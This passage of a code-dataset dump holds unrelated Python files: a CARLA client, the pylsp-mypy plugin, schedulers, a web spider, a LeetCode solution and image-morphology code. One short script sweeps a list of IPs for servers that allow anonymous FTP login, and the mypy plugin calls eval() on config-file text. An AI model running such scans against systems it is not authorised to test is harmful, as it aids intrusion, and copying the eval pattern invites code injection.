'ego_loc')\n obstacle_loc_dir = os.path.join(save_folder, 'obstacle_loc')\n\n os.makedirs(ego_loc_dir, exist_ok=True)\n os.makedirs(obstacle_loc_dir, exist_ok=True)\n\n actor_path = os.path.join(ego_loc_dir, args.file_name + \".csv\")\n with open(actor_path, \"w\") as f:\n csv_writer = csv.writer(f, delimiter=\",\")\n csv_writer.writerows(ego_loc_list)\n\n obstacle_path = os.path.join(obstacle_loc_dir, args.file_name + \".csv\")\n with open(obstacle_path, \"w\") as f:\n csv_writer = csv.writer(f, delimiter=\",\")\n csv_writer.writerows(obstacle_loc_list)\n\n if world is not None:\n world.destroy()\n for actor in actor_list:\n actor.destroy()\n print('\\ndisabling synchronous mode.')\n settings = world.world.get_settings()\n settings.synchronous_mode = False\n world.world.apply_settings(settings)\n if SAVE_VIDEO:\n writer.close()\n pygame.quit()\n\n\n# ==============================================================================\n# -- main() --------------------------------------------------------------\n# ==============================================================================\n\n\ndef main():\n argparser = argparse.ArgumentParser(\n description='CARLA Manual Control Client')\n argparser.add_argument(\n '-v', '--verbose',\n action='store_true',\n dest='debug',\n help='print debug information')\n argparser.add_argument(\n '--host',\n metavar='H',\n default='127.0.0.1',\n help='IP of the host server (default: 127.0.0.1)')\n argparser.add_argument(\n '-p', '--port',\n metavar='P',\n default=2000,\n type=int,\n help='TCP port to listen to (default: 2000)')\n argparser.add_argument(\n '--res',\n metavar='WIDTHxHEIGHT',\n default='640x480',\n help='window resolution (default: 1280x720)')\n argparser.add_argument(\n '--filter',\n metavar='PATTERN',\n default='vehicle.nissan.micra',\n help='actor filter (default: \"vehicle.*\")')\n argparser.add_argument(\"-a\", \"--agent\", type=str,\n choices=[\"Roaming\", \"Basic\"],\n help=\"select which agent to run\",\n default=\"Basic\")\n argparser.add_argument(\n '--file_name',\n default='1',\n help='File name') \n args = argparser.parse_args()\n\n args.width, args.height = [int(x) for x in args.res.split('x')]\n\n log_level = logging.DEBUG if args.debug else logging.INFO\n logging.basicConfig(format='%(levelname)s: %(message)s', level=log_level)\n\n logging.info('listening to server %s:%s', args.host, args.port)\n\n print(__doc__)\n\n try:\n game_loop(args)\n\n except KeyboardInterrupt:\n print('\\nCancelled by user. Bye!')\n\n\nif __name__ == '__main__':\n main()","sub_path":"carla_test.py","file_name":"carla_test.py","file_ext":"py","file_size_in_byte":63546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"371941239","text":"# -*- coding: utf-8 -*-\n\"\"\"\nFile that contains the python-lsp-server plugin pylsp-mypy.\n\nCreated on Fri Jul 10 09:53:57 2020\n\n@author: Richard Kellnberger\n\"\"\"\nimport atexit\nimport collections\nimport logging\nimport os\nimport os.path\nimport re\nimport tempfile\nimport warnings\nfrom pathlib import Path\nfrom typing import IO, Any, Dict, List, Optional\n\nfrom mypy import api as mypy_api\nfrom pylsp import hookimpl\nfrom pylsp.config.config import Config\nfrom pylsp.workspace import Document, Workspace\n\nline_pattern: str = r\"((?:^[a-z]:)?[^:]+):(?:(\\d+):)?(?:(\\d+):)? (\\w+): (.*)\"\n\nlog = logging.getLogger(__name__)\n\n# A mapping from workspace path to config file path\nmypyConfigFileMap: Dict[str, Optional[str]] = {}\n\ntmpFile: Optional[IO[str]] = None\n\n# In non-live-mode the file contents aren't updated.\n# Returning an empty diagnostic clears the diagnostic result,\n# so store a cache of last diagnostics for each file a-la the pylint plugin,\n# so we can return some potentially-stale diagnostics.\n# https://github.com/python-lsp/python-lsp-server/blob/v1.0.1/pylsp/plugins/pylint_lint.py#L55-L62\nlast_diagnostics: Dict[str, List[Dict[str, Any]]] = collections.defaultdict(list)\n\n# (~Hack) was having issues where mypy was being run on outdated file contents,\n# so we add an extra check for file modification times\nlast_updated: Dict[str, float] = {}\n\n\ndef parse_line(line: str, document: Optional[Document] = None) -> Optional[Dict[str, Any]]:\n \"\"\"\n Return a language-server diagnostic from a line of the Mypy error report.\n\n optionally, use the whole document to provide more context on it.\n\n\n Parameters\n ----------\n line : str\n Line of mypy output to be analysed.\n document : Optional[Document], optional\n Document in wich the line is found. The default is None.\n\n Returns\n -------\n Optional[Dict[str, Any]]\n The dict with the lint data.\n\n \"\"\"\n result = re.match(line_pattern, line)\n if result:\n file_path, linenoStr, offsetStr, severity, msg = result.groups()\n\n if file_path != \"\": # live mode\n # results from other files can be included, but we cannot return\n # them.\n if document and document.path and not document.path.endswith(file_path):\n log.warning(\"discarding result for %s against %s\", file_path, document.path)\n return None\n\n lineno = int(linenoStr or 1) - 1 # 0-based line number\n offset = int(offsetStr or 1) - 1 # 0-based offset\n errno = 2\n if severity == \"error\":\n errno = 1\n diag: Dict[str, Any] = {\n \"source\": \"mypy\",\n \"range\": {\n \"start\": {\"line\": lineno, \"character\": offset},\n # There may be a better solution, but mypy does not provide end\n \"end\": {\"line\": lineno, \"character\": offset + 1},\n },\n \"message\": msg,\n \"severity\": errno,\n }\n if document:\n # although mypy does not provide the end of the affected range, we\n # can make a good guess by highlighting the word that Mypy flagged\n word = document.word_at_position(diag[\"range\"][\"start\"])\n if word:\n diag[\"range\"][\"end\"][\"character\"] = diag[\"range\"][\"start\"][\"character\"] + len(word)\n\n return diag\n return None\n\n\n@hookimpl\ndef pylsp_lint(\n config: Config, workspace: Workspace, document: Document, is_saved: bool\n) -> List[Dict[str, Any]]:\n \"\"\"\n Lints.\n\n Parameters\n ----------\n config : Config\n The pylsp config.\n workspace : Workspace\n The pylsp workspace.\n document : Document\n The document to be linted.\n is_saved : bool\n Weather the document is saved.\n\n Returns\n -------\n List[Dict[str, Any]]\n List of the linting data.\n\n \"\"\"\n settings = config.plugin_settings(\"pylsp_mypy\")\n oldSettings1 = config.plugin_settings(\"mypy-ls\")\n if oldSettings1 != {}:\n warnings.warn(\n DeprecationWarning(\n \"Your configuration uses the namespace mypy-ls, this should be changed to pylsp_mypy\"\n )\n )\n oldSettings2 = config.plugin_settings(\"mypy_ls\")\n if oldSettings2 != {}:\n warnings.warn(\n DeprecationWarning(\n \"Your configuration uses the namespace mypy_ls, this should be changed to pylsp_mypy\"\n )\n )\n if settings == {}:\n settings = oldSettings1\n if settings == {}:\n settings = oldSettings2\n\n log.info(\n \"lint settings = %s document.path = %s is_saved = %s\",\n settings,\n document.path,\n is_saved,\n )\n\n live_mode = settings.get(\"live_mode\", True)\n dmypy = settings.get(\"dmypy\", False)\n\n if dmypy and live_mode:\n # dmypy can only be efficiently run on files that have been saved, see:\n # https://github.com/python/mypy/issues/9309\n log.warning(\"live_mode is not supported with dmypy, disabling\")\n live_mode = False\n\n args = [\"--show-column-numbers\"]\n\n prepend = settings.get(\"prepend\")\n if prepend:\n args = prepend + args\n\n modified_time = os.path.getmtime(document.path)\n\n global tmpFile\n if live_mode and not is_saved:\n if tmpFile:\n tmpFile = open(tmpFile.name, \"w\")\n else:\n tmpFile = tempfile.NamedTemporaryFile(\"w\", delete=False)\n log.info(\"live_mode tmpFile = %s\", tmpFile.name)\n tmpFile.write(document.source)\n tmpFile.close()\n args.extend([\"--shadow-file\", document.path, tmpFile.name])\n elif (\n not is_saved\n and document.path in last_diagnostics\n and last_updated[document.path] == modified_time\n ):\n # On-launch the document isn't marked as saved, so fall through and run\n # the diagnostics anyway even if the file contents may be out of date.\n log.info(\n \"non-live, returning cached diagnostics len(cached) = %s\",\n last_diagnostics[document.path],\n )\n return last_diagnostics[document.path]\n\n last_updated[document.path] = modified_time\n\n colocate_cache_with_config = settings.get(\"colocate_cache_with_config\")\n\n mypyConfigFile = mypyConfigFileMap.get(workspace.root_path)\n if mypyConfigFile:\n args.append(\"--config-file\")\n args.append(mypyConfigFile)\n\n if colocate_cache_with_config:\n args.extend(\n [\"--cache-dir\", os.path.join(os.path.dirname(mypyConfigFile), \".mypy_cache/\")]\n )\n\n args.append(document.path)\n\n if settings.get(\"strict\", False):\n args.append(\"--strict\")\n\n if not dmypy:\n args.extend([\"--incremental\", \"--follow-imports\", \"silent\"])\n\n log.info(\"executing mypy args = %s\", args)\n report, errors, _ = mypy_api.run(args)\n else:\n # If dmypy daemon is non-responsive calls to run will block.\n # Check daemon status, if non-zero daemon is dead or hung.\n # If daemon is hung, kill will reset\n # If daemon is dead/absent, kill will no-op.\n # In either case, reset to fresh state\n _, _err, _status = mypy_api.run_dmypy([\"status\"])\n if _status != 0:\n log.info(\"restarting dmypy from status: %s message: %s\", _status, _err.strip())\n mypy_api.run_dmypy([\"kill\"])\n\n # run to use existing daemon or restart if required\n args = [\"run\", \"--\"] + args\n log.info(\"dmypy run args = %s\", args)\n report, errors, _ = mypy_api.run_dmypy(args)\n\n log.debug(\"report:\\n%s\", report)\n log.debug(\"errors:\\n%s\", errors)\n\n diagnostics = []\n for line in report.splitlines():\n log.debug(\"parsing: line = %r\", line)\n diag = parse_line(line, document)\n if diag:\n diagnostics.append(diag)\n\n log.info(\"pylsp-mypy len(diagnostics) = %s\", len(diagnostics))\n\n last_diagnostics[document.path] = diagnostics\n return diagnostics\n\n\n@hookimpl\ndef pylsp_settings(config: Config) -> Dict[str, Dict[str, Dict[str, str]]]:\n \"\"\"\n Read the settings.\n\n Parameters\n ----------\n config : Config\n The pylsp config.\n\n Returns\n -------\n Dict[str, Dict[str, Dict[str, str]]]\n The config dict.\n\n \"\"\"\n configuration = init(config._root_path)\n return {\"plugins\": {\"pylsp_mypy\": configuration}}\n\n\ndef init(workspace: str) -> Dict[str, str]:\n \"\"\"\n Find plugin and mypy config files and creates the temp file should it be used.\n\n Parameters\n ----------\n workspace : str\n The path to the current workspace.\n\n Returns\n -------\n Dict[str, str]\n The plugin config dict.\n\n \"\"\"\n log.info(\"init workspace = %s\", workspace)\n\n configuration = {}\n path = findConfigFile(workspace, [\"pylsp-mypy.cfg\", \"mypy-ls.cfg\", \"mypy_ls.cfg\"])\n if path:\n with open(path) as file:\n configuration = eval(file.read())\n\n mypyConfigFile = findConfigFile(workspace, [\"mypy.ini\", \".mypy.ini\"])\n mypyConfigFileMap[workspace] = mypyConfigFile\n\n log.info(\"mypyConfigFile = %s configuration = %s\", mypyConfigFile, configuration)\n return configuration\n\n\ndef findConfigFile(path: str, names: List[str]) -> Optional[str]:\n \"\"\"\n Search for a config file.\n\n Search for a file of a given name from the directory specifyed by path through all parent\n directories. The first file found is selected.\n\n Parameters\n ----------\n path : str\n The path where the search starts.\n names : List[str]\n The file to be found (or alternative names).\n\n Returns\n -------\n Optional[str]\n The path where the file has been found or None if no matching file has been found.\n\n \"\"\"\n start = Path(path).joinpath(names[0]) # the join causes the parents to include path\n for parent in start.parents:\n for name in names:\n file = parent.joinpath(name)\n if file.is_file():\n if file.name in [\"mypy-ls.cfg\", \"mypy_ls.cfg\"]:\n warnings.warn(\n DeprecationWarning(\n f\"{str(file)}: {file.name} is no longer supported, you should rename your \"\n \"config file to pylsp-mypy.cfg\"\n )\n )\n return str(file)\n\n return None\n\n\n@atexit.register\ndef close() -> None:\n \"\"\"\n Deltes the tempFile should it exist.\n\n Returns\n -------\n None.\n\n \"\"\"\n if tmpFile and tmpFile.name:\n os.unlink(tmpFile.name)\n","sub_path":"pylsp_mypy/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":10554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"234591278","text":"from Task import *\nimport math\n\ndef edf_vd(taskset):\n\tULL=0\n\tUHL=0\n\tUHH=0\n\tfor ta in taskset:\n\t\tif ta.Li==1:\n\t\t\tULL=ULL+ta.Ci[1]/ta.Ti\n\t\telif ta.Li==2:\n\t\t\tUHL=ta.Ci[1]/ta.Ti+UHL\n\t\t\tUHH=ta.Ci[2]/ta.Ti+UHH\n\t# print ULL,UHL,UHH\n\tif ULL+UHL>1:\n\t\treturn False\n\telif ULL==0 or UHL==0:\n\t\treturn True\n\telif UHL/(1-ULL)<=(1-UHH)/ULL:\n\t\treturn True\n\treturn False\n\n","sub_path":"BODY/MEBA/Simulation/EDFVD.py","file_name":"EDFVD.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"91302172","text":"# 75. Sort Colors\n# Given an array with n objects colored red, white or blue, sort them in-place so that objects of the same color are adjacent, with the colors in the order red, white and blue.\n\n# Here, we will use the integers 0, 1, and 2 to represent the color red, white, and blue respectively.\n\n# Note: You are not suppose to use the library's sort function for this problem.\n\n# Example:\n\n# Input: [2,0,2,1,1,0]\n# Output: [0,0,1,1,2,2]\n\nclass Solution:\n def sortColors(self, nums: List[int]) -> None:\n \"\"\"\n Do not return anything, modify nums in-place instead.\n \"\"\"\n Head_pointer = 0\n Tail_pointer = len(nums)-1\n index = 0\n while index <= Tail_pointer:\n if nums[index] == 0 :\n nums[index] , nums[Head_pointer] = nums[Head_pointer] , nums[index]\n Head_pointer+=1\n index+=1\n elif nums[index] == 2 :\n nums[index] , nums[Tail_pointer] = nums[Tail_pointer] , nums[index]\n Tail_pointer-=1\n else:\n index+=1","sub_path":"LeetCode/Python/Sort_Colors.py","file_name":"Sort_Colors.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"636992042","text":"# common.py\nimport os\nimport sys\n\nsys.path.append(os.path.dirname(os.path.abspath(__file__)) + \"/../..\")\nfrom slideatlas.core import create_celery_app\n\nimport time\n\nceleryapp = create_celery_app(None)\n\n\ndef get_celery_worker_status():\n \"\"\"\n Returns a dictionary of all registered workers at the current broker and their status\n \"\"\"\n ERROR_KEY = \"ERROR\"\n try:\n insp = celeryapp.control.inspect()\n d = insp.stats()\n r = insp.registered()\n insp.active()\n if not d:\n d = {ERROR_KEY: 'No running Celery workers were found.'}\n except IOError as e:\n from errno import errorcode\n msg = \"Error connecting to the brocker: \" + str(e)\n if len(e.args) > 0 and errorcode.get(e.args[0]) == 'ECONNREFUSED':\n msg += ' Check that the RabbitMQ server is running.'\n d = {ERROR_KEY: msg}\n except ImportError as e:\n d = {ERROR_KEY: str(e)}\n return {\"stats\": d, \"registered\": r}\n\n\n@celeryapp.task()\ndef process_for_time(a):\n for i in range(a):\n time.sleep(1)\n metastr = str({'current': i, 'total': a})\n celeryapp.current_task.update_state(state='PROGRESS', meta=metastr)\n return a\n","sub_path":"slideatlas/tasks/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"67483019","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom urllib.parse import urlparse\nimport threading\nfrom . import html_tags_and_attributes\nimport time\nfrom pathlib import Path\n\nclass URLFetcher:\n def __init__(self, root_path, sleep_interval=1.0, number_of_fetcher_threads=1, connection_timeout=5):\n self.root_path = root_path\n self.fetch_pool = []\n self.next_urls = set()\n self.number_of_urls = 0\n self.requests_in_progress = 0\n self.connection_timeout = connection_timeout\n self.requests_in_progress_lock = threading.Lock()\n self.fetcher_threads = []\n self.fetcher_threads_lock = threading.Lock()\n self.sleep_interval = sleep_interval\n self.number_of_fetcher_threads = number_of_fetcher_threads\n self.number_of_active_fetcher_threads = 0\n self.active_fetcher_lock = threading.Lock()\n self.update_urls = threading.Lock()\n self.fetch_data_lock = threading.Lock()\n\n def __iter__(self):\n return self\n\n def __next__(self):\n while True:\n while not self.fetch_pool:\n time.sleep(self.sleep_interval)\n with self.fetch_data_lock:\n if self.fetch_pool:\n return self.fetch_pool.pop(0)\n\n def increment_requests(self):\n with self.requests_in_progress_lock:\n self.requests_in_progress += 1\n\n def decrement_requests(self):\n with self.requests_in_progress_lock:\n self.requests_in_progress -= 1\n\n def is_done(self):\n with self.requests_in_progress_lock:\n if self.requests_in_progress > 0:\n return False\n with self.fetch_data_lock:\n if self.fetch_pool:\n return False\n with self.update_urls:\n if self.update_urls:\n return False\n return True\n\n def get_number_of_active_fetcher_threads(self):\n with self.active_fetcher_lock:\n return self.number_of_active_fetcher_threads\n\n def increase_number_of_active_fetcher_threads(self):\n with self.active_fetcher_lock:\n self.number_of_active_fetcher_threads += 1\n\n def add_url(self, url):\n with self.update_urls:\n self.number_of_urls += 1\n self.next_urls.add(url)\n\n def next_url_to_fetch(self):\n while self.number_of_urls == 0:\n time.sleep(self.sleep_interval)\n with self.update_urls:\n self.number_of_urls -= 1\n return self.next_urls.pop()\n\n def add_fetched_data(self, url, data):\n with self.fetch_data_lock:\n self.fetch_pool.append({'url': url, 'data': data})\n\n def start_fetching(self):\n self.add_url(self.root_path)\n self.start_fetcher_thread()\n\n def _start_fetching(self):\n while not self.is_done():\n url = self.next_url_to_fetch()\n self.increment_requests()\n while True:\n try:\n data = requests.get(url, timeout=self.connection_timeout)\n except Exception as err:\n self.decrement_requests()\n print(err)\n break\n else:\n self.decrement_requests()\n self.add_fetched_data(url, data)\n break\n\n def create_new_fetcher_thread(self):\n url_fetcher_thread = threading.Thread(target=self._start_fetching, daemon=True)\n self.add_fetcher_thread(url_fetcher_thread)\n url_fetcher_thread.start()\n\n def start_fetcher_thread(self):\n for _ in range(self.number_of_fetcher_threads):\n self.create_new_fetcher_thread()\n\n def add_fetcher_thread(self, thread):\n with self.fetcher_threads_lock:\n self.fetcher_threads.append(thread)\n self.increase_number_of_active_fetcher_threads()\n\n\nclass SpiderScanner:\n def __init__(self, domain, force_ssl=False, thread_count_for_each_domain=1, known_paths=None):\n self.force_ssl = force_ssl\n self.thread_count_for_each_domain = thread_count_for_each_domain\n self.root_url = 'http://' + domain + '/'\n if known_paths is not None:\n self.paths |= set(known_paths)\n\n # Parse Domains\n try:\n domain = urlparse(domain)\n self.domain = domain.netloc or domain.path\n self.paths = set()\n except Exception as err:\n self.error = True\n else:\n self.error = False\n\n self.is_ready()\n\n # Request fetcher\n self.url_fetcher = URLFetcher(\n self.root_url,\n sleep_interval=0.5,\n number_of_fetcher_threads=self.thread_count_for_each_domain\n )\n\n # Threads and Locks\n self.threads = []\n for i in range(thread_count_for_each_domain):\n domain_thread = threading.Thread(\n target=self.spider_domain,\n daemon=True,\n )\n self.threads.append(domain_thread)\n\n self.domain_add_lock = threading.Lock()\n\n def is_url_valid(self, url):\n parsed_url = urlparse(url)\n return self.is_url_in_context(parsed_url.netloc) \\\n and not self.is_url_added_to_domain(parsed_url.netloc, parsed_url.path) \\\n or (not parsed_url.netloc and parsed_url.path) and '#' not in parsed_url.path\n\n def spider_domain(self):\n while True:\n next_url_data = next(self.url_fetcher)\n url, data = next_url_data['url'], BeautifulSoup(next_url_data['data'].text)\n paths = set()\n for html_tag in html_tags_and_attributes.keys():\n for tag in data.find_all(html_tag):\n try:\n url = tag.attrs.get(html_tags_and_attributes.get(html_tag))\n parsed_url = urlparse(url)\n if self.is_url_valid(url):\n paths.add(parsed_url.path)\n self.add_url_to_domain(parsed_url.path)\n url = urlparse(\n parsed_url.scheme or 'http://'\n + self.domain\n + parsed_url.path\n )\n self.url_fetcher.add_url(url.geturl())\n except Exception as err:\n pass\n\n if self.url_fetcher.is_done():\n break\n\n def is_ready(self):\n if self.error:\n raise Exception('incorrect urls specified')\n\n def is_url_in_context(self, url):\n self.is_ready()\n domain = urlparse(url)\n return self.domain == domain.path or self.domain == domain.netloc\n\n def start_spider(self):\n self.is_ready()\n\n self.url_fetcher.start_fetching()\n for thread in self.threads:\n thread.start()\n for thread in self.threads:\n thread.join()\n\n return self.paths\n\n def force_complete(self):\n pass\n\n def add_url_to_domain(self, url):\n path = urlparse(url).path\n with self.domain_add_lock:\n self.paths.add(path)\n\n def is_url_added_to_domain(self, domain, url):\n if self.is_url_in_context(domain):\n return url in self.paths\n\n def is_done(self):\n pass\n","sub_path":"spider/spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":7397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"376230840","text":"import requests\nimport logging\nimport re\nfrom solarmap import SolarMap\n\nclass BridgeNetwork:\n\n def __init__(self, eve_db, url):\n self.eve_db = eve_db\n self.url = url\n\n #Returns [(source, destination)]\n def loadNetwork(self):\n try:\n r = requests.get(self.url)\n except requests.exceptions.RequestException:\n logging.warning(\"Unable to connect to Bridge file\")\n else:\n if r.status_code == 200:\n return self.parse_text(r.text)\n\n return []\n\n def parse_text(self, text):\n regex = re.compile(r\"([A-Z0-9-]+) --> ([A-Z0-9-]+)\", re.MULTILINE)\n text = text.upper()\n list = []\n for match in regex.finditer(text):\n\n source = self.eve_db.name2id(self.eve_db.normalize_name(match.group(1).strip()))\n destination = self.eve_db.name2id(self.eve_db.normalize_name(match.group(2).strip()))\n list.append((source, destination))\n\n return list\n\n def augment_map(self, solar_map):\n bridges = self.loadNetwork()\n\n for bridge in bridges:\n solar_map.add_connection(\n bridge[0],\n bridge[1],\n SolarMap.BRIDGE)\n return bridges.__len__()\n\ndef main():\n bridgenetwork = BridgeNetwork(None)\n bridgenetwork.augment_map(None)\n\nif __name__ == \"__main__\":\n main()","sub_path":"src/shortcircuit/model/bridgenetwork.py","file_name":"bridgenetwork.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"183925030","text":"#!/usr/bin/python3 \n\nfrom ftplib import FTP\nimport sys\n\nips = open(sys.argv[1], 'r')\nr = ips.readlines()\nfor item in r:\n item = item.strip()\n print(\"[+] Connecting to: %s \\n\" %item)\n try:\n ftp = FTP(item, timeout=3) \n ftp.login()\n \n if ftp.retrlines('LIST') != 0:\n print(\"[+] Anonymous login enabled on Host: %s \\n\" %item)\n print(\"=\"*70+\"\\n\")\n except:\n print(\"[+] Unable to Connect to Host: %s\\n\" %item)\n print(\"=\"*70+\"\\n\")\n","sub_path":"ftpAnonChecker.py","file_name":"ftpAnonChecker.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"238300242","text":"import numpy as np\nimport joblib\n\n\n\n\n\ndef extract_chunks(signals, sample_indexes, width, channel_adjacency=None, channel_indexes=None, chunks=None, n_jobs=0):\n \"\"\"\n This cut small chunks on signals and return concatenate them.\n This use numpy.array for input/output.\n \n \n Arguments\n ---------------\n signals: np.ndarray \n shape (nb_campleXnb_channel)\n sample_indexes: np.ndarray\n sample postion of the first sample\n width: int\n Width in sample of chunks.\n channel_adjacency: dict\n dict of channel adjacency\n If not None, then the wavzform extraction is sprase given adjency.\n In that case channel_indexes must be provide\n channel_indexes: np.array None\n Position in channels space\n \n Returns\n -----------\n chunks : np.ndarray\n shape = (sample_indexes.size, width, signals.shape[1], )\n \n \"\"\"\n if chunks is None:\n chunks = np.empty((sample_indexes.size, width, signals.shape[1]), dtype = signals.dtype)\n \n if n_jobs == 0:\n keep = (sample_indexes>=0) & (sample_indexes<(signals.shape[0] - width))\n sample_indexes2 = sample_indexes[keep]\n if channel_indexes is not None:\n channel_indexes2 = channel_indexes[keep]\n \n if channel_adjacency is None:\n # all channels\n for i, ind in enumerate(sample_indexes2):\n chunks[i,:,:] = signals[ind:ind+width,:]\n else:\n # sparse\n assert channel_indexes is not None, 'For sparse eaxtraction channel_indexes must be provide'\n for i, ind in enumerate(sample_indexes2):\n chan = channel_indexes2[i]\n chans = channel_adjacency[chan]\n chunks[i,:,:][:, chans] = signals[ind:ind+width,:][:, chans]\n else:\n # this is totally useless because not faster....\n assert n_jobs >=1 \n n = sample_indexes.size // n_jobs\n \n items = []\n for i in range(n_jobs):\n if i < n_jobs - 1:\n sl = slice(i*n, (i+1)*n)\n else:\n sl = slice(i*n, None)\n inds = sample_indexes[sl]\n small_chunks = chunks[sl, :, :]\n args = (signals, inds, width)\n kargs = {'chunks': small_chunks, 'n_jobs' :0, 'channel_adjacency':channel_adjacency, 'channel_indexes':channel_indexes}\n items.append((args, kargs))\n \n joblib.Parallel(n_jobs=n_jobs, backend='threading', prefer='threads')(joblib.delayed(extract_chunks)(*args, **kargs) for args, kargs in items)\n\n return chunks\n\n","sub_path":"tridesclous/waveformtools.py","file_name":"waveformtools.py","file_ext":"py","file_size_in_byte":2623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"490051018","text":"import numpy as np\n\n\ndef morph(img=None, oper=None, iterations=1, strel=np.ones((3, 3)), bin=0):\n # This function accepts accepts a binary shape (img), morphological operation, structuring element\n # and number of iterations. It performs the specified operation of img by the structuring element\n # for the required number of iterations and returns the result.\n\n if bin:\n img = binarize(img)\n if oper is None:\n print('Choose specific morphological operator: erosion, dilation, closing, opening')\n return\n img = find_range(img)\n if oper == 'er':\n func = erosion\n elif oper == 'di':\n func = dilation\n elif oper == 'cl':\n func = closing\n elif oper == 'op':\n func = opening\n\n morphed_img = func(img, strel)\n if iterations > 1:\n for i in range(iterations - 1):\n morphed_img = func(morphed_img, strel)\n i += 1\n return morphed_img\n\n\ndef erosion(img, strel=np.ones((3, 3))):\n # The erosion function accepts a binary shape (img) and a structuring element. If no structuring element\n # is passed to the function, a 3-by-3 array of ones is used as a default.\n # The function returns the erosion of img by the structuring element.\n\n img = binarize(img, 'seg')\n img = find_range(img)\n img /= 255\n dim = img.shape\n strel = np.asarray(strel, dtype=np.uint8)\n orig = ((strel.shape[0]-1) // 2, (strel.shape[1] -1) // 2)\n x, y = strel.shape[0], strel.shape[1]\n a = np.zeros(dim)\n\n for i in range(dim[0]):\n for j in range(dim[1]):\n\n # Step I - Find the intersection of structuring element and current x-by-y subset of img.\n # If there is no intersection, continue:\n inters = img[fit(i - orig[0]):i - orig[0] + x, fit(j - orig[1]):j - orig[1] + y]\n if inters.shape[0] == 0 or inters.shape[1] == 0:\n continue\n\n # Step II - Find points (x0, y0), (x1, y1) such that the shape of\n # structuring element [x0:x1, y0:y1] will be equal to the shape of intersection:\n\n if orig[0] - i > 0:\n x0 = orig[0] - i\n else:\n x0 = 0\n if i + (x - orig[0]) > dim[0]:\n x1 = (dim[0] + orig[0]) - (i + 1)\n else:\n x1 = x - 1\n\n if orig[1] - j > 0:\n y0 = orig[1] - j\n else:\n y0 = 0\n if j + (y - orig[1]) > dim[1]:\n y1 = (dim[1] + orig[1]) - (j + 1)\n else:\n y1 = y - 1\n\n # Step III - Compute match:\n\n match = np.logical_and(inters, strel[x0:x1 + 1, y0:y1 + 1])\n if np.array_equal(match, strel[x0:x1 + 1, y0:y1 + 1]):\n a[i, j] = 1\n\n return np.asarray(a * 255, dtype=np.uint8)\n\n\ndef dilation(img, strel=np.ones((3, 3))):\n # The erosion function accepts a binary shape (img) and a structuring element. If no structuring element\n # is passed to the function, a 3-by-3 array of ones is used as a default.\n # The function returns the dilation of the binary shape by the structuring element.\n\n # img = binarize(img, 'seg')\n img = find_range(img)\n img = img // 255\n dim = img.shape\n strel=np.asarray(strel, dtype=np.uint8)\n orig = ((strel.shape[0] - 1) // 2, (strel.shape[1] - 1) // 2)\n x, y = strel.shape[0], strel.shape[1]\n a = np.zeros(dim)\n\n for i in range(dim[0]):\n for j in range(dim[1]):\n\n # Step I - Find the intersection of structuring element and current x-by-y subset of img.\n # If there is no intersection, continue:\n inters = img[fit(i - orig[0]):i - orig[0] + x, fit(j - orig[1]):j - orig[1] + y]\n if inters.shape[0] == 0 or inters.shape[1] == 0:\n continue\n\n # Step II - find points (x0, y0), (x1, y1) such that the shape of\n # structuring element [x0:x1, y0:y1] will be equal to the shape of intersection:\n\n if orig[0] - i > 0:\n x0 = orig[0] - i\n else:\n x0 = 0\n if i + (x - orig[0]) > dim[0]:\n x1 = (dim[0] + orig[0]) - (i + 1)\n else:\n x1 = x - 1\n\n if orig[1] - j > 0:\n y0 = orig[1] - j\n else:\n y0 = 0\n if j + (y - orig[1]) > dim[1]:\n y1 = (dim[1] + orig[1]) - (j + 1)\n else:\n y1 = y - 1\n\n # Step III - Compute match:\n\n match = np.logical_and(inters, strel[x0:x1 + 1, y0:y1 + 1])\n if match.any():\n a[i, j] = 1\n\n return np.asarray(a * 255, dtype=np.uint8)\n\n\ndef opening(img, strel=np.ones((3, 3))):\n # The erosion function accepts a binary shape (img) and a structuring element. If no structuring element\n # is passed to the function, a 3-by-3 array of ones is used as a default.\n # The function returns the opening of img by the structuring element.\n\n return dilation(erosion(img, strel), strel)\n\n\ndef closing(img, strel=np.ones((3, 3))):\n # The erosion function accepts a binary shape (img) and a structuring element. If no structuring element\n # is passed to the function, a 3-by-3 array of ones is used as a default.\n # The function returns the closing of img by the structuring element.\n\n return erosion(dilation(img, strel), strel)\n\n\ndef reverse(img):\n # Auxiliary function to convert black-over-white images to white-over-black images.\n\n rev = segment(img)\n rev[img == 0] = 255\n rev[img == 255] = 0\n return np.asarray(rev, dtype=np.uint8)\n\n\ndef gray_conversion(img):\n # Auxiliary function to convert color images to grayscale.\n\n if len(img.shape) == 2:\n return img\n else:\n gray_img = np.asarray(img, dtype=np.float64)\n gray_img = 0.07 * img[:, :, 2] + 0.72 * img[:, :, 1] + 0.21 * img[:, :, 0]\n gray_img = np.reshape(gray_img, (gray_img.shape[0], gray_img.shape[1]))\n return gray_img.astype(np.float64)\n\n\ndef segment(img, th=None):\n # This function performs a basic segmentation of a grayscale image according to given threshold.\n # Mean value of the image is used as default.\n\n if th is None:\n th = int(np.round(np.mean(img, axis=0).mean()))\n\n seg_img = img.copy()\n seg_img[seg_img < th] = 0\n seg_img[seg_img >= th] = 255\n return np.asarray(seg_img, dtype=np.uint8)\n\n\ndef hist_thresh(img):\n # This function performs segmentation of a grayscale image by computing the optimal threshold.\n\n mean = int(np.round(np.mean(img, axis=0).mean()))\n while True:\n fg_mean = np.mean(img[img > int(np.round(mean))])\n bg_mean = 